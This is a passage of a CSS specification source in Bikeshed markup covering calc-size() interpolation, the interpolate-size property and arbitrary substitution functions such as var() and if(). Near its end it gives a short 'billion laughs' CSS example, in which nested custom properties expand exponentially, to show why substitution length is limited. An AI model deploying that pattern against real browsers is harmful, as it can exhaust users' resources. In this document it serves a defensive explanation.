	''calc-size()'' functions are [=calc-size()/prepared for interpolation=]
	so their [=calc-size basises=] can be compared,
	and their [=calc-size calculations=] can be interpolated properly.
	This is a more involved process than [=simplifying a calculation tree=],
	and can potentially fail.

	<div algorithm>
		To <dfn for=calc-size()>prepare for interpolation</dfn>
		a ''calc-size()'' function:

		<ol>
			<li>
				First, simplify the [=calc-size basis=], recursing as needed:

				<dl class=switch>
					: If the [=calc-size basis=] is a ''calc-size()'' function itself
					:: The [=calc-size basis=] of the outer function
						is replaced with that of the inner function,
						and the inner function's [=calc-size calculation=]
						is [=substitute into a calc-size calculation|substituted=]
						into the outer function's [=calc-size calculation=].

					: Otherwise, if the [=calc-size basis=] is a <<calc-sum>> whose
						[=CSSNumericValue/type=] [=CSSNumericValue/matches=] <<length>>
						(no percentage present)
					:: Replace the basis with ''calc-size/any'',
						and the original basis is [=substitute into a calc-size calculation|substituted=]
						into the [=calc-size calculation=].

					: Otherwise, if the [=calc-size basis=] is any other <<calc-sum>>
						(contains a percentage)
					:: Replace the basis with ''100%''
						and the original basis is [=de-percentify a calc-size calculation|de-percentified=],
						then [=substitute into a calc-size calculation|substituted=]
						into the [=calc-size calculation=].
				</dl>

				If any [=substitute into a calc-size calculation=]
				returns failure,
				the entire operation immediately returns failure.

			<li>
				Next, simplify the [=calc-size calculation=]
				as defined in [[css-values-4#calc-simplification]].
		</ol>

		Note: After simplification,
		the [=calc-size basis=] of a ''calc-size()'' function
		will either be a single keyword or the value ''100%''.
	</div>

	<div algorithm>
		To <dfn export>substitute into a calc-size calculation</dfn> |calc|
		a value |insertion value|:

		1. If |calc| doesn't have the ''calc-size()/size'' keyword in it,
			do nothing.

		2. Otherwise, replace
			every instance of the ''calc-size()/size'' keyword in |calc|
			with |insertion value|, wrapped in parentheses.

		3. If this substitution would produce a value
			larger than an UA-defined limit,
			return failure.

			Note: This is intentionally identical
			to the protection against substitution attacks
			defined for variable substitution;
			see [[css-variables-1#long-variables]].
			However, the use-cases for very long ''calc-size()'' values
			are much less than for long custom properties,
			so UAs might wish to impose a smaller size limit.
	</div>

	<div algorithm>
		To <dfn export>de-percentify a calc-size calculation</dfn> |calc|:

		1. Replace every instance of a <<percentage-token>> in |calc|
			with ''(size * N)'',
			where N is the percentage's value divided by 100.
			Return |calc|.

		Note: For example,
		''50% + 20px'' becomes ''(size * .5) + 20px''.
	</div>

	<details class=note>
		<summary>Why are percentages simplified in this way?</summary>

		This percentage simplification
		ensures that transitions work linearly.

		For example, say that 100% resolves to 100px.

		If you transitioned from ''calc-size(100px, size * 2)''
		(resolves to 200px)
		to ''calc-size(50%, size - 20px)''
		(resolves to 30px)
		by interpolating both the arguments,
		then at the halfway point
		you'd have ''calc-size(75px, size * 2 * .5 + (size - 20px) * .5)''
		(resolves to 102.5px),
		which is <em>not</em> halfway between 30 and 200
		(that would be 115px).
		Interpolating one argument,
		then substituting it into another calculation
		and interpolating that one too,
		generally gives <em>quadratic</em> interpolation behavior.

		Instead, we substitute the basis arg into the calculation arg,
		so you get ''calc-size(any, 100px * 2)''
		and ''calc-size(100%, (size * .5) - 20px)'',
		and when interpolated,
		at the halfway point you get
		''calc-size(100%, 100px * 2 * .5 + ((size * .5) - 20px) * .5)'',
		which does indeed resolve to 115px, as expected.
		Other points in the transition are similarly linear.
	</details>


<h3 id=interpolate-size>
Automatically interpolating sizing keywords: the 'interpolate-size' property</h3>

	<pre class="propdef">
	Name: interpolate-size
	Value: numeric-only | allow-keywords
	Initial: numeric-only
	Inherited: yes
	Applies to: all elements
	Computed value: as specified
	Animation type: not animatable
	</pre>

	This property allows keywords on the [=sizing properties=]
	to smoothly combine with <<length-percentage>> values
	rather than using [=discrete=] animation for this case.
	(See [[web-animations-1#animating-properties]].)

	<dl dfn-for="interpolate-size" dfn-type="value">
		<dt><dfn>numeric-only</dfn>
		<dd>
			A <<size-keyword>> can only be combined
			with a compatible <<calc-size()>>.
		</dd>

		<dt><dfn>allow-keywords</dfn>
		<dd>
			Sizing values can also be combined if
			one of them is an <<size-keyword>>
			and the other is a <<length-percentage>>.
			This is done by treating
			the <<size-keyword>> <var>keyword</var>
			as though it is ''calc-size(<var>keyword</var>, size)''
			and applying the rules in [[#interpolate-calc-size]].
			In other cases,
			a <<size-keyword>> still cannot be interpolated.
		</dd>
	</dl>

	Note: Setting ''allow-keywords'' allows <em>most</em> size values to be interpolated,
	but not all;
	different keywords are still not interpolable with each other,
	as layout algorithms can change their behavior
	based on precisely which sizing keyword a descendant is using,
	in a way that can't be represented during interpolation.

	Note: Setting ''allow-keywords'' <em>mostly</em> removes the need to use ''calc-size()'' manually,
	but there are still some cases that can benefit from using it.
	For example, if the [=containing block=] size is [=indefinite=],
	naively interpolating ''width: 100%'' to ''width: 0px'' won't work as expected
	(since the intermediate values might [=behave as auto=],
	making them the same size as ''100%''),
	but manually writing ''width: calc-size(100%, size);'' and/or ''width: calc-size(any, 0px);'' will,
	causing the element to smoothly interpolate between the two values.

	Note: If we had a time machine, this property wouldn't exist;
	the ''allow-keywords'' behavior would just be how things worked by default.
	It exists because many existing style sheets assume that
	the sizing keywords
	(''width/auto'', ''width/min-content'', etc.)
	cannot interpolate at all,
	and would produce broken behavior if they started interpolating.
	For compatibility with this assumption,
	allowing this interpolation requires an opt-in.
	Because the property inherits,
	specifying '':root { interpolate-size: allow-keywords; }''
	allows the new behavior for the entire page.
	We suggest doing this wherever compatibility isn't an issue.

	The value of 'interpolate-size' that matters
	is the [=computed value=] on the element
	at the time the animation might start.
	For CSS transitions,
	this means the value in the [=after-change style=].
	An animation is not stopped or started later
	because 'interpolate-size' changes.

<!-- Big Text: Arbitrary

 ███▌  ████▌  ████▌  ████ █████▌ ████▌   ███▌  ████▌  █   ▐▌
▐█ ▐█  █▌  █▌ █▌  █▌  ▐▌    █▌   █▌  █▌ ▐█ ▐█  █▌  █▌ ▐▌  █
█▌  █▌ █▌  █▌ █▌  █▌  ▐▌    █▌   █▌  █▌ █▌  █▌ █▌  █▌  █ ▐▌
█▌  █▌ ████▌  █████   ▐▌    █▌   ████▌  █▌  █▌ ████▌   ▐▌█
█████▌ █▌▐█   █▌  █▌  ▐▌    █▌   █▌▐█   █████▌ █▌▐█     █▌
█▌  █▌ █▌ ▐█  █▌  █▌  ▐▌    █▌   █▌ ▐█  █▌  █▌ █▌ ▐█    █▌
█▌  █▌ █▌  █▌ ████▌  ████   █▌   █▌  █▌ █▌  █▌ █▌  █▌   █▌
-->

<h2 id=arbitrary-substitution>
Appendix A: Arbitrary Substitution Functions</h2>

	An <dfn export>arbitrary substitution function</dfn>
	is a [=functional notation=] that will,
	when resolved,
	substitute itself with other values
	that are unknowable at parse time.

<h3 id=substitution>
Substitution</h3>

	Each [=arbitrary substitution function=]
	must define how to <dfn export local-lt="replace|replacement">replace an arbitrary substitution function</dfn>
	for itself,
	given a list of arguments
	and a [=/stack=] of [=substitution contexts=],
	and likely involving further [=substitution=].
	It must return a sequence of [=component values=]
	(fully resolved,
	so no further [=arbitrary substitution functions=] exist in the sequence),
	which it will be replaced by.

	<div class=note>
		A function's [=replacement=] algorithm is called
		with the results of [[#early-resolution|early substitution]]
		and parsing with the function's [=argument grammar=],
		but nothing more.
		The algorithm will have to further [=substitute=] each argument it deals with,
		before [=CSS/parsing=] it as the appropriate part of its <em>normal</em> grammar,
		and then performing whatever logic it needs.

		It might leave some arguments completely unsubstituted
		(for example, the fallback argument of an ''attr()'' function,
		if the attribute value exists and correctly parses),
		or only parse some arguments based on the results of evaluating other arguments
		(for example, later <<if-condition>> values in an ''if()'' function
		are only evaluated if earlier ones evaluated as false,
		and only the result in the "successful" <<if-branch>> is evaluated).
	</div>


	<div algorithm>
		To <dfn export local-lt="substitute|substitution" lt="substitute arbitrary substitution function|arbitrary substitution">substitute arbitrary substitution functions</dfn>
			in a sequence of [=component values=] |values|,
			given an optional [=substitution context=] |context|:

		1. [=Guard=] |context| for the remainder of this algorithm.
			If |context| is marked as a [=cyclic substitution context=],
			return the [=guaranteed-invalid value=].

		2. [=list/For each=] [=arbitrary substitution function=] |func| in |values|
			(ordered via a depth-first pre-order traversal)
			that is not nested in the contents of another [=arbitrary substitution function=]:

			1. [=Substitute early-invoked functions=] in |func|'s contents,
				and let |early result| be the result.

			2. If |early result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=]
				and [=iteration/continue=].

			3. [=CSS/Parse=] |early result| according to |func|'s [=argument grammar=].
				If this returns failure,
				replace |func| in values with the [=guaranteed-invalid value=]
				and [=iteration/continue=];
				otherwise,
				let |arguments| be the result.

			3. [=Replace an arbitrary substitution function=] for |func|,
				given |arguments|,
				as defined by that function.
				Let |result| be the returned list of [=component values=].

			4. If |result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=].
				Otherwise, replace |func| in |values| with |result|.

		3. If |context| is marked as a [=cyclic substitution context=],
			return the [=guaranteed-invalid value=].
			<span class=note>Nested [=arbitrary substitution functions=]
				may have marked |context| as [=cyclic substitution context|cyclic=]
				in step 2.</span>
		4. Return |values|.
	</div>

	<div algorithm>
		A <dfn export>substitution context</dfn>
		is a [=/list=] consisting of:
		the dependency type, as a string;
		one or more additional values, specific to the dependency type.
		(Usually, just one additional string.)

		As [=arbitrary substitution functions=] are [=resolved=]
		they accumulate [=substitution contexts=]
		which affect how <em>nested</em> [=arbitrary substitution functions=] resolve.

		<div class=example>
			For example, while resolving a ''var(--foo)'' function,
			the value of the ''--foo'' property is fetched and [=substituted=],
			with a [=substitution context=] of <code>&bs<<;"property", "--foo"&bs>>;</code>,
			preventing any nested [=arbitrary substitution functions=]
			from cyclicly depending on ''--foo'' as well.

			While resolving an ''attr(foo)'' function,
			the value of the ''foo'' attribute on the element is fetched and [=substituted=],
			with a [=substitution context=] of <code>&bs<<;"attribute", "foo"&bs>>;</code>,
			preventing any nested functions
			from cyclicly depending on the ''foo'' attribute as well.
		</div>

		The types of [=substitution contexts=] are currently:
		* "property", followed by a property name,
			and optionally a [=custom function=].
		* "attribute", followed by an attribute name.
		* "function", followed by a [=custom function=].
	</div>

	<div>

		As [=substitution=] is recursively invoked
		by nested [=arbitrary substitution functions=] being [=replaced=],
		[=guarded|guards=] "stack up" the [=substitution contexts=] passed to each invocation.

		When a [=substitution context=] is <dfn export>guarded</dfn>,
		it means that, for the duration of the guard,
		an attempt to guard a matching [=substitution context=] again
		will mark all [=substitution contexts=] involved in the cycle as
		<dfn export>cyclic substitution contexts</dfn>.

		<div class=example>
			For example, given the following style:

			<pre highlight=css>
			.foo {
				--one: var(--two);
				--two: var(--one);
			}
			</pre>

			[=Property replacement=] for '--one'
			invokes [=substitution=] with a [=substitution context=] of &bs<<;"property", "--one"&bs>>;.
			[=Substitution=] sees the ''var(--two)'' function
			and invokes [=replace an arbitrary substitution function|replace a var() function=],
			which fetches the values of '--two' and [=substitutes=] again,
			this time with a [=substitution context=] of &bs<<;"property", "--two"&bs>>;.
			That [=substitution=] sees the ''var(--one)'' function
			and invokes [=replace an arbitrary substitution function|replace a var() function=],
			which fetches the value of '--one' and [=substitutes=] again,
			with a [=substitution context=] of &bs<<;"property", "--one"&bs>>;.

			This, finally, is a [=cyclic substitution context=],
			since it matches the [=substitution context=] from the first [=substitution=],
			causing the [=substitution=] to just produce the [=guaranteed-invalid value=].
			This percolates back up the nested invocations,
			eventually resulting in '--one' becoming [=invalid at computed-value time=].
			The same happens, in opposite order,
			when performing [=property replacement=] on '--two'.
		</div>

		<div class=example>
			When a [=cyclic substitution contexts|cycle is detected=],
			all participants in the cycle become invalid.
			For example,
			all of the following declarations
			become [=invalid at computed-value time=].

			<pre highlight=css>
			.foo {
				--one: var(--two);
				--two: var(--three, baz);
				--three: var(--one);
			}
			</pre>

			The presence of a fallback in <code>var(--three, baz)</code>
			does not affect the outcome.
		</div>
	</div>



<!-- Big Text: early

█████▌  ███▌  ████▌  █▌    █   ▐▌
█▌     ▐█ ▐█  █▌  █▌ █▌    ▐▌  █
█▌     █▌  █▌ █▌  █▌ █▌     █ ▐▌
████   █▌  █▌ ████▌  █▌     ▐▌█
█▌     █████▌ █▌▐█   █▌      █▌
█▌     █▌  █▌ █▌ ▐█  █▌      █▌
█████▌ █▌  █▌ █▌  █▌ █████   █▌
-->

<h3 id=early-resolution>
Argument Grammars and Spread Syntax</h3>

	Each [=arbitrary substitution function=],
	in addition to its standard grammar,
	must define an <dfn export>argument grammar</dfn>:
	a much less specific and less restrictive version of its normal grammar,
	which serves solely to separate the function's contents
	into distinct arguments.

	Note: Typically, an [=argument grammar=] will only consist of some punctuation
	(usually commas)
	and the <<declaration-value>> production.
	See the ''if()'' function for an example.

	Each function, in its [=replacement=] algorithm,
	will apply [=substitution=] to its arguments
	and then [=CSS/parse=] them
	according to the appropriate parts of its standard grammar.
	As it is in control of this process, however,
	some arguments can be left unresolved and unparsed.

	<div class=example>
		For example, the ''if()'' function's [=argument grammar=]
		merely divides its value into alternating "test" and "result" arguments,
		separated by `:` and `;`.
		It then evaluates tests one by one,
		and only evaluates a single argument
		matching the first successful test.

		This allows ''if()'' to achieve behavior similar to `if` constructs
		in other programming languages,
		where later "branches" aren't evaluated at all
		(beyond a basic parse)
		and thus can't cause errors in cases that would be caught by earlier branches.

		This means the following is a valid declaration
		when the viewport is ''600px'' or wider,
		resulting in the value ''blue''.
		Only when the viewport is narrower than ''600px''
		does the ''if()'' trigger cyclic behavior
		and cause ''--color'' to be [=invalid at computed-value time=].

		<pre highlight=css>
		.foo {
			--color: if(media(width >= 600px): blue; else: var(--color));
		}
		</pre>
	</div>

	This also means that, ordinarily,
	parsing according to a function's [=argument grammar=]
	<em>does not</em> see the results of any nested [=arbitrary substitution functions=];
	the contents are divided into arguments
	based only on the values literally present inside the function.

	<div class=example>
		For example, in ''random-item(auto, var(--foo), var(--bar))'',
		the ''random-item()'' function selects between two random values,
		either the result of ''var(--foo)'' or ''var(--bar)''.
		This is true even if one of them contains commas, like:

		<pre highlight=css>
		.random-fonts {
			--foo: Courier, monospace;
			--bar: Arial, serif;
			font-family: random-item(auto, var(--foo), var(--bar));
			/* equivalent to: */
			font-family: random-item(auto, {Courier, monospace}, {Arial, serif});

			/* and thus, randomly, equivalent to either */
			font-family: Courier, monospace;
			/* or */
			font-family: Arial, serif;
		}
		</pre>

		This behavior ensures that authors don't have to defensively wrap
		any arguments containing [=arbitrary substitution functions=]
		in ''{}'' characters;
		what you see is what you get.
	</div>

	Note: This is different from the behavior of [=arbitrary substitution functions=]
	substituted into "normal" functions or properties.
	For example, ''--colors: red, blue, green; background: linear-gradient(var(--colors));''
	works in the expected fashion,
	producing a gradient with three color stops,
	because normal functions don't do this separate [=argument grammar=] parse.

	This behavior can be worked around
	by immediately preceding an [=arbitrary substitution function=]
	with the <dfn export>spread syntax</dfn> ''...'',
	indicating that it must be resolved "early",
	before division into arguments.

	<div class=example>
		For example, the following <strong>will not work</strong>:

		<pre highlight=css>
		.invalid-if {
			--if-clause: media(width >= 600px): blue;
			color: if(var(--if-clause); else: green;);
		}
		</pre>

		The ''if()'' function entirely fails to parse
		according to its [=argument grammar=]:
		there's no `:` character separating the test from the value in the first branch.

		To get the desired behavior of "spreading" the variable
		into the function's arguments,
		use ''...''':

		<pre highlight=css>
		.valid-if {
			--if-clause: media(width >= 600px): blue;
			color: if(...var(--if-clause); else: green;);
		}
		</pre>
	</div>

	The [=spread syntax=] is three distinct <<delim-token>>s with the value `"."`,
	all of which must not contain any whitespace between them,
	or between the group and the subsequent [=arbitrary substitution function=].

	<div class=example>
		That is, ''...var(--foo)'' is a valid use of the [=spread syntax=],
		but ''... var(--foo)'' is not,
		nor is ''. . .var(--foo)''.

		The latter usages will result in the [=arbitrary substitution function=]
		being evaluated at the normal time,
		<em>after</em> the [=argument grammar=] has been applied,
		and the period characters being part of the function's value.
	</div>

	Note: The [=spread syntax=] is only used
	<em>within</em> an [=arbitrary substitution function's=] value,
	as it's only referenced by the [=substitution=] algorithm
	when parsing an [=arbitrary substitution function=].
	Using it outside of that,
	such as in ''width: ...var(--sidebar-width);'',
	is not recognized as an early invocation;
	instead, the periods are just part of the property's value,
	unrelated to the ''var()'' function,
	and would in this case make the 'width' property invalid.
	(This is similar to JavaScript,
	where this syntax was borrowed from,
	where `[1, ...arr, 5]` is valid,
	but `var x = ...arr;` is not.)

	<div algorithm>
		To <dfn export>substitute early-invoked functions</dfn>
		in a sequence of [=component values=] |values|:

		1.  [=list/For each=] [=arbitrary substitution function=] |func| in |values|
			(ordered via a depth-first pre-order traversal)
			using the [=spread syntax=]
			that is not nested in the contents of another [=arbitrary substitution function=]:

			1. [=Substitute early-invoked functions=] in |func|'s contents,
				and let |early result| be the result.

			2. If |early result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=]
				and [=iteration/continue=].

			3. [=CSS/Parse=] |early result| acccording to |func|'s [=argument grammar=].
				If this returns failure,
				replace |func| in values with the [=guaranteed-invalid value=]
				and [=iteration/continue=];
				otherwise,
				let |arguments| be the result.

			1. [=Replace an arbitrary substitution function=] for |func|,
				given |arguments|,
				as defined by that function.
				Let |result| be the returned list of [=component values=].

			2. If |result| contains the [=guaranteed-invalid value=],
				replace |func| in |values| with the [=guaranteed-invalid value=].
				Otherwise, replace |func| in |values| with |result|.

		2. Return |values|.
	</div>


<!-- Big Text: props

████▌  ████▌   ███▌  ████▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌
████▌  ████▌  █▌  █▌ ████▌   ███▌
█▌     █▌▐█   █▌  █▌ █▌         █▌
█▌     █▌ ▐█  █▌  █▌ █▌     █▌  █▌
█▌     █▌  █▌  ███▌  █▌      ███▌
-->

<h3 id=resolve-property>
Resolving in Properties</h3>

	Unless otherwise specified,
	[=arbitrary substitution functions=] can be used
	in place of any part of any property's value
	(including within other [=functional notations=]);
	and are not valid in any other context.

	ISSUE: Should any of these functions be valid in contexts outside of properties?

	<wpt pathprefix="css/css-variables">
	variable-external-font-face-01.html
	variable-font-face-01.html
	variable-font-face-02.html
	</wpt>

	<div class='example'>
		For example, the following code incorrectly attempts to use a variable as a property name:

		<pre>
		.foo {
			--side: margin-top;
			var(--side): 20px;
		}
		</pre>

		This is <em>not</em> equivalent to setting ''margin-top: 20px;''.
		Instead, the second declaration is simply thrown away as a syntax error
		for having an invalid property name.
	</div>

	If a property value contains one or more [=arbitrary substitution functions=],
	and all of those functions are themselves syntactically valid
	according to their [=argument grammar=]s,
	the entire value's grammar must be assumed to be valid at parse time.

	<wpt pathprefix="css/css-variables">
	variable-reference-18.html
	variable-reference-19.html
	variable-reference-30.html
	</wpt>

	[=Arbitrary substitution functions=] are [=substituted=]
	during style [=computed value|computation=],
	before any other value transformations or introspection can occur.
	If a property,
	after [=property replacement=],
	does not match its declared grammar,
	the declaration is [=invalid at computed-value time=].

	Note: Since [=arbitrary substitution functions=] resolve at [=computed value=] time,
	if the resulting value after substitution is invalid,
	the property falls back (essentially) to ''unset'' behavior,
	rather than falling back to an earlier value in the [=cascade=]
	the way declarations invalid at parse time do.
	See [[#invalid-substitution]].

	<wpt pathprefix="css/css-variables">
	variable-declaration-16.html
	variable-declaration-17.html
	variable-declaration-18.html
	variable-declaration-19.html
	variable-declaration-21.html
	variable-transitions-transition-property-all-before-value.html
	variable-transitions-value-before-transition-property-all.html
	</wpt>

	If a property value,
	after [=property replacement=],
	contains only a single [=CSS-wide keyword=]
	(and possibly whitespace/comments),
	its value is determined as if that keyword were its [=specified value=] all along.

	<wpt pathprefix="css/css-variables">
	whitespace-in-fallback-crash.html
	wide-keyword-fallback-001.html
	wide-keyword-fallback-002.html
	</wpt>

	<div class='example'>
		For example,
		the following usage is fine from a syntax standpoint,
		but results in nonsense when the variable is substituted in:

		<pre>
		:root { --looks-valid: 20px; }
		p { background-color: var(--looks-valid); }
		</pre>

		Since ''20px'' is an invalid value for 'background-color',
		the property becomes [=invalid at computed-value time=],
		and instead resolves to ''transparent''
		(the [=initial value=] for 'background-color').

		If the property was one that's inherited by default,
		such as 'color!!property',
		it would compute to the inherited value
		rather than the initial value.
	</div>

	<div class='example'>
		While a ''var()'' function can't get a [=CSS-wide keyword=]
		from the [=custom property=] itself--
		if you tried to specify that,
		like ''--foo: initial;'',
		it would just trigger [[css-cascade-4#defaulting-keywords|explicit defaulting]]
		for the custom property--
		it can have a [=CSS-wide keyword=] in its fallback:

		<pre>
		p { color: var(--does-not-exist, initial); }
		</pre>

		In the above code, if the ''--does-not-exist'' property didn't exist
		or is [=invalid at computed-value time=],
		the ''var()'' will instead substitute in the ''initial'' keyword,
		making the property behave as if it was originally ''color: initial''.
		This will make it take on the document's initial 'color' value,
		rather than defaulting to inheritance,
		as it would if there were no fallback.
	</div>

	<div algorithm>
		To <dfn export lt="property replacement|replace substitution functions|replace substitution functions in a property">replace substitution functions in a property</dfn> |prop|:

		1. [=Substitute arbitrary substitution functions=] in |prop|'s value,
			given &bs<<;"property", |prop|'s name&bs>>; as the [=substitution context=].
			Let |result| be the returned [=component value=] sequence.

		2. If |result| contains the [=guaranteed-invalid value=],
			|prop| is [=invalid at computed-value time=];
			return.

		3. [=CSS/Parse=] |result| according to |prop|'s grammar.
			If this returns failure,
			|prop| is [=invalid at computed-value time=];
			return.

		3. Otherwise, replace |prop|'s value with the parsed result.
	</div>

	<wpt pathprefix="css/css-variables">
	css-variable-change-style-001.html
	css-variable-change-style-002.html
	variable-declaration-01.html
	variable-declaration-02.html
	variable-declaration-03.html
	variable-declaration-04.html
	variable-declaration-05.html
	variable-generated-content-dynamic-001.html
	variable-presentation-attribute.html
	variable-reference-01.html
	variable-reference-02.html
	variable-reference-03.html
	variable-reference-04.html
	variable-reference-05.html
	variable-reference-12.html
	variable-reference-16.html
	variable-reference-40.html
	variable-reference-refresh.html
	variable-substitution-background-properties.html
	variable-substitution-basic.html
	variable-substitution-filters.html
	variable-substitution-replaced-size.html
	variable-substitution-shadow-properties.html
	variable-substitution-variable-declaration.html
	</wpt>

	<wpt pathprefix="css/css-variables" title="CSSOM">
	variable-reference-cssom.html
	</wpt>

	<div class=note>
		Note that [=substitution=] takes place at the level of CSS tokens [[css-syntax-3]],
		not at a textual level;
		you can't build up a single token where part of it is provided by a variable:

		<pre>
		.foo {
			--gap: 20;
			margin-top: var(--gap)px;
		}
		</pre>

		This is <em>not</em> equivalent to setting ''margin-top: 20px;'' (a length).
		Instead, it's equivalent to ''margin-top: 20 px;'' (a number followed by an ident),
		which is simply an invalid value for the 'margin-top' property.
		Note, though, that ''calc()'' can be used to validly achieve the same thing, like so:

		<pre>
		.foo {
		  --gap: 20;
		  margin-top: calc(var(--gap) * 1px);
		}
		</pre>

		This also implies that the post-substitution value
		might not be directly serializable as-is.
		Here's a similar example to the preceding:

		<pre>
		.foo {
			--gap: 20;
			--not-px-length: var(--gap)px;
		}
		</pre>

		The serialization of the computed (post-substitution)
		value of ''--not-px-length''
		is <strong>not</strong> ''20px'',
		because that would parse back as the single combined dimension;
		instead, it will serialize with a comment between the two tokens,
		like ''20/**/px'',
		to enforce that they are separate tokens even when re-parsing.
	</div>

	<wpt pathprefix="css/css-variables">
	variable-declaration-14.html
	variable-declaration-53.html
	variable-declaration-54.html
	variable-declaration-55.html
	variable-reference-15.html
	variable-reference-without-whitespace.html
	</wpt>

<!-- Big Text: invalid

████ █    █▌ █▌   █▌  ███▌  █▌    ████ ████▌
 ▐▌  █▌   █▌ █▌   █▌ ▐█ ▐█  █▌     ▐▌  █▌  █▌
 ▐▌  ██▌  █▌ █▌   █▌ █▌  █▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌▐█ █▌ ▐▌   █  █▌  █▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌  ██▌  █  ▐▌  █████▌ █▌     ▐▌  █▌  █▌
 ▐▌  █▌   █▌  ▐▌ █   █▌  █▌ █▌     ▐▌  █▌  █▌
████ █▌   ▐▌   ▐█    █▌  █▌ █████ ████ ████▌
-->

<h3 id=invalid-substitution oldids='invalid-variables'>
Invalid Substitution</h3>

	When [=property replacement=] results in a property's value
	containing the [=guaranteed-invalid value=],
	this makes the declaration <dfn export>invalid at computed-value time</dfn>.
	When this happens,
	the computed value is one of the following
	depending on the property's type:

	<dl class="switch">
		:   The property is a non-registered [=custom property=]
		:   The property is a [=registered custom property=]
		    with [=universal syntax definition|universal syntax=]
		::  The computed value is the <a>guaranteed-invalid value</a>.

		:   Otherwise
		::  Either the property's inherited value
		    or its initial value
		    depending on whether the property is inherited or not, respectively,
		    as if the property's value had been specified as the ''unset'' keyword.
	</dl>

	<wpt pathprefix="css/css-variables">
	variables-substitute-guaranteed-invalid.html
	</wpt>

	<div class='example'>
		For example, in the following code:

		<pre>
		:root { --not-a-color: 20px; }
		p { background-color: red; }
		p { background-color: var(--not-a-color); }
		</pre>

		the &lt;p> elements will have transparent backgrounds
		(the initial value for 'background-color'),
		rather than red backgrounds.
		The same would happen if the <a>custom property</a> itself was unset,
		or contained an invalid ''var()'' function.

		Note the difference between this
		and what happens if the author had just written ''background-color: 20px'' directly in their stylesheet -
		that would be a normal syntax error,
		which would cause the rule to be discarded,
		so the ''background-color: red'' rule would be used instead.
	</div>

	Note: The <a>invalid at computed-value time</a> concept exists
	because [=arbitrary substitution functions=] can't "fail early" like other syntax errors can,
	so by the time the user agent realizes a property value is invalid,
	it's already thrown away the other cascaded values.


<!-- Big Text: shorthand

 ███▌  █▌  █▌  ███▌  ████▌  █████▌ █▌  █▌  ███▌  █    █▌ ████▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌   █▌   █▌  █▌ ▐█ ▐█  █▌   █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ █▌  █▌   █▌   █▌  █▌ █▌  █▌ ██▌  █▌ █▌  █▌
 ███▌  █████▌ █▌  █▌ ████▌    █▌   █████▌ █▌  █▌ █▌▐█ █▌ █▌  █▌
    █▌ █▌  █▌ █▌  █▌ █▌▐█     █▌   █▌  █▌ █████▌ █▌  ██▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌ ▐█    █▌   █▌  █▌ █▌  █▌ █▌   █▌ █▌  █▌
 ███▌  █▌  █▌  ███▌  █▌  █▌   █▌   █▌  █▌ █▌  █▌ █▌   ▐▌ ████▌
-->

<h3 id=substitution-in-shorthands oldids=variables-in-shorthands>
Substitution in Shorthand Properties</h3>

	[=Arbitrary substitution functions=] produce some complications
	when parsing [=shorthand properties=] into their component longhands,
	and when serializing [=shorthand properties=] <em>from</em> their component longhands.

	If a [=shorthand property=] contains an [=arbitrary substitution function=] in its value,
	the [=longhand properties=] it's associated with must instead be filled in
	with a special, unobservable-to-authors <dfn export>pending-substitution value</dfn>
	that indicates the shorthand contains an [=arbitrary substitution function=],
	and thus the longhand's value can't be determined until after [=substituted=].

	This value must then be cascaded as normal,
	and at computed-value time,
	after [=substitution=],
	the shorthand must be parsed
	and the longhands must be given their appropriate values at that point.

	<wpt pathprefix="css/css-variables">
	variable-reference-36.html
	variable-reference-37.html
	variable-reference-38.html
	variable-substitution-shorthands.html
	vars-background-shorthand-001.html
	vars-font-shorthand-001.html
	</wpt>

	Note: When a shorthand is written without an [=arbitrary substitution function=],
	it is parsed and separated out into its component [=longhand properties=] at parse time;
	the longhands then participate in the [=cascade=],
	with the [=shorthand property=] more or less discarded.
	When the shorthand contains a ''var()'', however,
	this can't be done,
	as the ''var()'' could be substituted with anything.

	[=Pending-substitution values=] must be serialized as the empty string,
	if an API allows them to be observed.

	<wpt pathprefix="css/css-variables">
	variable-definition-border-shorthand-serialize.html
	vars-border-shorthand-serialize.html
	</wpt>

	----

	[=Shorthand properties=] are serialized
	by gathering the values of their component [=longhand properties=],
	and synthesizing a value
	that will parse into the same set of values.

	If all of the component [=longhand properties=] for a given [=shorthand=]
	are [=pending-substitution values=]
	from the same original shorthand value,
	the [=shorthand property=] must serialize to that original
	([=arbitrary substitution function=]-containing)
	value.

	Otherwise,
	if any of the component [=longhand properties=] for a given [=shorthand=]
	are [=pending-substitution values=],
	or contain [=arbitrary substitution functions=] of their own that have not yet been [=substituted=],
	the [=shorthand property=] must serialize to the empty string.

<!-- Big Text: too long

█████▌  ███▌   ███▌      █▌     ███▌  █    █▌  ███▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌   █▌ █▌  █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ ██▌  █▌ █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌▐█ █▌ █▌ ██▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌  ██▌ █▌  █▌
  █▌   █▌  █▌ █▌  █▌     █▌    █▌  █▌ █▌   █▌ █▌  █▌
  █▌    ███▌   ███▌      █████  ███▌  █▌   ▐▌  ███▌
-->

<h3 id=long-substitution oldids=long-variables>
Safely Handling Overly-Long Substitution</h3>

	Naively implemented,
	some [=arbitrary substitution functions=]
	(such as ''var()'')
	can be used in a variation of the "billion laughs attack":

	<div class=example>
		<pre lang=css>
		.foo {
			--prop1: lol;
			--prop2: var(--prop1) var(--prop1);
			--prop3: var(--prop2) var(--prop2);
			--prop4: var(--prop3) var(--prop3);
			/* etc */
		}
		</pre>

		In this short example, ''--prop4''’s computed value is ''lol lol lol lol lol lol lol lol'',
		containing 8 copies of the original ''lol''.
		Every additional level added to this doubles the number of identifiers;
		extending it to a mere 30 levels,
		the work of a few minutes by hand,
		would make ''--prop30'' contain <em>nearly a billion instances</em> of the identifier.
	</div>

	To avoid this sort of attack,
	UAs must impose a UA-defined limit on the allowed length of the token stream
